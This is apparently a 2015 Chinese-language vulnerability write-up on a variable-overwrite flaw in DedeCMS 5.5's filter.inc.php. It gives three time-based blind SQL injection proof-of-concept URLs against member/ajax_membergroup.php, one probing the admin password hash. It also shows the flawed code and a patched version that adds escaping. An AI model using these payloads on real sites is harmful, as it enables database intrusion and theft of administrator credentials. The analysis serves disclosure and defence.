catalog
1. 漏洞描述 2. 漏洞觸發條件 3. 漏洞影響範圍 4. 漏洞程式碼分析 5. 防禦方法 6. 攻防思考
1. 漏洞描述
filter.inc.php這個檔案在系統配置檔案之後,裡面有foreach迴圈建立變數,所以可以覆蓋系統變數
1. 在magic_quotes_gpc=off的時候可以繞過_RunMagicQuotes的過濾 xxx.php?site=LittleHann’s blog 2. 經過common.inc.php $LittleHann = LittleHann\’s blog 3. 經過filter.inc.php $LittleHann = LittleHann’s blog //重新獲得閉合攻擊性
2. 漏洞觸發條件
1. 程式不允許建立cfg_開頭的變數,依靠這樣來防禦系統變數未初始化漏洞 2. common.inc.php檔案的漏洞我們建立了系統變數就可以觸發此類漏洞,但是有的系統變數已經初始化了,而且是在common.inc.php檔案foreach迴圈註冊變數之後,就是說我們能建立,但是沒法覆蓋 3. 但是filter.inc.php這個檔案又進行了一次foreach迴圈也就是二次建立。所以如果包含了filter.inc.php檔案我們就可以覆蓋系統變數 4. 在/member目錄的大部分檔案都包含這麼一個檔案/member/config.php,這個檔案的前兩句就是 require_once(dirname(__FILE__).’/../include/common.inc.php’); require_once(DEDEINC.’/filter.inc.php’); //就是說/member目錄的大部分檔案都受此漏洞影響可以覆蓋系統變數
0x1: POC1
http://127.0.0.1/dedecms5.5/member/ajax_membergroup.php?action=desshow&mid=1&action=despost&mdescription=asd' where id=@`'` or(select if(substring((select pwd from dede_admin),1,1)='f',sleep(5),0)) -- - @`'`
0x2: POC2
http://127.0.0.1/dede/member/ajax_membergroup.php?action=desshow&mid=1&action=despost&mdescription=asd' where id=@`'` or(select if(substring((select 1),1,1)='1',sleep(5),0)) -- - @`'`
0x3: POC3
http://127.0.0.1/dede/member/ajax_membergroup.php?action=desshow&mid=1&action=despost&mdescription=asd' where id=@`'` or(select if(substring((select user()),1,1)='r',sleep(5),0)) -- - @`'`
Relevant Link:
http://www.0x50sec.org/0day-exp/2011/08/id/1139/ http://www.wooyun.org/bugs/wooyun-2013-043674
3. 漏洞影響範圍
4. 漏洞程式碼分析
/include/filter.inc.php
function _FilterAll($fk,&$svar) { global $cfg_notallowstr,$cfg_replacestr; if( is_array($svar) ) { foreach($svar as $_k => $_v) { $svar[$_k] = _FilterAll($fk,$_v); } } else { if($cfg_notallowstr!='' && eregi($cfg_notallowstr,$svar)) { ShowMsg(" $fk has not allow words!",'-1'); exit(); } if($cfg_replacestr!='') { $svar = eregi_replace($cfg_replacestr,"***",$svar); } } //未對外部提交的資料進行有效轉義,重新造成本地變數注入 return $svar; } foreach(Array('_GET','_POST','_COOKIE') as $_request) { foreach($$_request as $_k => $_v) { ${$_k} = _FilterAll($_k,$_v); } }
Relevant Link:
http://zone.wooyun.org/content/1883 http://www.jybase.net/wangzhananquan/20120412823_8.html
5. 防禦方法
/include/filter.inc.php
function _FilterAll($fk, &$svar) { global $cfg_notallowstr,$cfg_replacestr; if( is_array($svar) ) { foreach($svar as $_k => $_v) { $svar[$_k] = _FilterAll($fk,$_v); } } else { if($cfg_notallowstr!='' && preg_match("#".$cfg_notallowstr."#i", $svar)) { ShowMsg(" $fk has not allow words!",'-1'); exit(); } if($cfg_replacestr!='') { $svar = preg_replace('/'.$cfg_replacestr.'/i', "***", $svar); } } /* 進行有效轉義 */ /**/ return addslashes($svar); } /* 對_GET,_POST,_COOKIE進行過濾 */ foreach(Array('_GET','_POST','_COOKIE') as $_request) { foreach($$_request as $_k => $_v) { ${$_k} = _FilterAll($_k,$_v); } }
6. 攻防思考
Copyright (c) 2015 LittleHann All rights reserved